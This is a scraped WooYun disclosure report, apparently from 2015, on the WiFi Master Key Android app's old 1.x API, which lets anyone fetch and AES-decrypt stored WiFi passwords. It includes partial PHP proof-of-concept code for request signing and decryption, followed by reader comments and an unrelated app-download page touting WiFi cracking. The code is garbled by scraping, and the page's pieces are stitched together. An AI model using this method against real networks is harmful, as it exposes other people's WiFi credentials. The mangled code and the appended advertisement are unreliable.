分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向第三方安全合作伙伴开放（、、）
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
http://zone.wooyun.org/content/18815，我是看到这篇帖子后萌生的想法。。。
现在不用装APP，也能查询你家的WIFI明文密码了。
详细说明：
凡是APP就涉及到通信接口，看了下万能钥匙的APP，走的明文HTTP协议这就简单了。
分析Android程序有个杀手锏，就是程序在更新迭代的时候新版本做了API改动，但为了兼容考虑，老版本存在问题的API不会下线，一直存在线上。。。
从GooglePlay下载了1.X版本的WIFI万能钥匙，确实还能用，通过程序包分析算法（说一下在，各种key，salt明文存储，连混淆哪怕是字符拼接都没有。。。）
这个是查询密码用到的数据包，以及参数中sign（签名）的算法，其实就是这些数据进行排序后用salt算个md5。新版本的万能钥匙还有个retSn，实现链式认证，也能突破，但这个报告只说1.x版本的API问题（1.x时代很多细节明显没有考虑完善，基本只靠sign做安全）。
用JAVA实现查询密码请求的签名
为了验证真实性，我给附近的一台OpenWrt SSID前加了个“1OpenWrt”，在计算签名查询，bingo！
第一部分完成了，但发现返回的密码竟然好长一串似乎还真没泄漏用户明文密码哎，但没明文客户端怎么连接呢。。。通过apk分析发现是用了AES加密，当然key和iv也泄漏了。
继续用JAVA程序实现
嘿嘿，原来你家密码是这个（跟这个朋友的分析一致 http://**.**.**.**/papers/4976）
另外测试的过程中突然提示
经过分析原来是dhid每日有查询限额，继续分析dhid算法，是通过服务器返回的，具体伪造不在说了，基本还是分析包，打包sign，发包了。
漏洞证明：
这样，就实现了通过SSID，和BSSID查询任意AP明文密码了，本地写了个自用的玩玩。为了证明真实并且避免被恶意利用，我只放出部分POC代码，厂商一看就懂。
code 区域function sign( $array , $do ){
// 签名算法
$request_str = '';
$salt = '';
$sign = '';
// 对应apk中的 Arrays.sort 数组排序，测试PHP需用 ksort
ksort( $array );
foreach ($array as $key =& $value) {
$request_str .= $
if ( $do == 'querypwd') {
$sign = md5( $request_str . SALT );
} elseif ( $do == 'querydhid' ) {
$sign = md5( $request_str . SALT2 );
查询密码的
code 区域function get_pwd(){
$ssid = addslashes( $_POST['ssid'] );
$mac = addslashes( $_POST['mac'] );
$data = '';
$array = array(
&och& =& &guanwang&,
&ii&=& &345&,
&appid&=& &0006&,
&pid&=& &qryapwd:commonswitch&,
&mac&=&&xx:xx:xx:xx:xx:xx&,
&lang&=&&cn&,
&bssid&=&&$mac,&,
&v&=&&58&,
&ssid&=&&$ssid,&,
&method&=&&getSecurityCheckSwitch&,
&uhid&=& &a0000001&,
&st&=& &m&,
&chanid&=& &googleplay&,
&dhid& =& get_dhid()
$sign = sign( $array , 'querypwd' );
foreach ($array as $key =& $value) {
if ( $key == 'bssid') {
$data .= &sign=& . strtoupper($sign) . &&&;
$data .= &$key=& . urlencode( $value ) . &&&;
code 区域function decryptStrin($str,$keys=AESKey,$iv=AESIV,$cipher_alg=MCRYPT_RIJNDAEL_128){
//Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
$decrypted_string = mcrypt_decrypt($cipher_alg, $keys, pack(&H*&,$str),MCRYPT_MODE_CBC, $iv);
return $decrypted_
整个过程感觉自己又学到不少啊。。。
PS：旧版本是默认分享用户WIFI的，1.0.8这个版本，厂商还记得吧？确实是用户同意的前提，不知情的同意？
修复方案：
解决方案引用官方的话：问问你身边的Android程序员。
版权声明：转载请注明来源 @
厂商回应：
危害等级：低
漏洞Rank：5
确认时间： 12:56
厂商回复：
感谢您的关注，已将问题转交至相关团队。
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
能雷劈么~？
洞主就是你
@天地不仁 以万物为刍狗 火前留名
@天地不仁 以万物为刍狗 这个叼！肯定不是一楼
我好想安装个测试下，但又怕它把我的密码发给你们了，怎么办？
@天地不仁 以万物为刍狗 =。=不是我。。我小号
洞主找他们要一辆特斯拉好了，反正他们年终奖每人发一台
洞主找他们要一辆特斯拉好了，反正他们年终奖每人发一台
@专业种田 有个功能叫做修改密码！
逆向安卓客户端算法就行了吧，算法在里面有，不知道有混淆没
反编译非法吗？
有点意思，无线名字有很多重复的吧，难道还有位置参数。
最近万能钥匙很火啊.
以前谁来我家要连接WIFI必然是我拿着他们手机亲自连接的. 目的很简单, 我看看有没有万能钥匙. 有的话, 我叫他们卸载了才连接...
发编译出来的吗？
我是来看闪电的！
卧槽，打雷了
果然闪电了
mark,果然闪电了。
劈了!~~~关注下
真能雷劈了。呵呵
@Security 肯定有记录MAC地址啊
@light 竟然忘了这回事了... :(
5亿字典在手，天下WIFI随我连
楼上果然都是好洞主啊,wifi在手，天下我有
@Code_Monkey 人家连上了再装。。。
程序员年终的特斯拉没了
都闪电了才5分啊
恭喜洞主精华漏洞获取10rank...
厂商评分不厚道呀....
5分有点太少了把
海尔走的是小厂商吗?
怎么看不到细节？XXX
这尼玛也5分~
关联文章http://drops.wooyun.org/tips/6049
@瘦蛟舞 @泳少
泳少，好屌， 是你小号，没办法，我就是这么机智
@胡小树 你这么机智你妈妈知道吗？：)
着要是不精华没天理
这种也不算洞吧，APP需要查询，肯定要有相关的api,不管怎么混淆，只要逆向技术过硬，总能找到
@路人甲，能否给个POC研究下？
登录后才能发表评论，请先您的举报已经提交成功，我们将尽快处理，谢谢！
估计没多大用
应该是比较简单的！在前面或后面加个字母就破解不了了！谢谢期待您的好评
大家还关注
(window.slotbydup=window.slotbydup || []).push({
id: '2081942',
container: s,
size: '1000,60',
display: 'inlay-fix'当前位置：>>
中等偏上，或有惊喜！
&万能钥匙最新版2016能破解加密介绍万能钥匙最新版2016能破解加密：是2016年最新版本的万能钥匙，能一键破解附近wifi密码，支持查看密码、一键连接附近wifi热点，非常好用的wifi工具，以后也不用担心流量不够用了。
&万能钥匙最新版2016能破解加密特色
1、使用简单，一键破解wifi密码
2、支持查看保存wifi密码
3、实时测试当前网络的速度、提供wifi省电功能
&万能钥匙最新版2016能破解加密更新
版本：4.1.20　日期：日
界面升级，调整部分小功能的展示效果；
修复部分机型下出现闪退的问题；
其他优化。
全国的热点数据更新啦，快来找更多的热点；
修复部分机型上软件闪退的问题；
其他优化。
你可能感兴趣的游戏
版本：3.3.6
大小：49.1 MB
版本：4.1.5
大小：4.3 MB
平台：android
版本：3.3.8
大小：4.93 MB
平台：android
版本：3.2.56
大小：7 MB
平台：android
大小：8.8M
12345678910
1系统工具安卓2休闲益智安卓3系统工具安卓4游戏辅助安卓5游戏辅助安卓6系统工具安卓7系统工具安卓8射击枪战安卓9塔防策略安卓10系统工具安卓
扫描二维码添加微信公众账号，关注游乐园手游，超值礼包免费拿！快来扫一扫，打开微信，扫描关注，赢取每月粉丝奖。
浙ICP备号-5 Copyright 2013 游乐园手机游戏下载基地
我们致力于为您提供更多好玩的单机游戏下载大全中文版下载
游乐园手机游戏下载基地温馨提示：适度游戏娱乐,沉迷游戏伤身,合理安排时间,享受健康生活}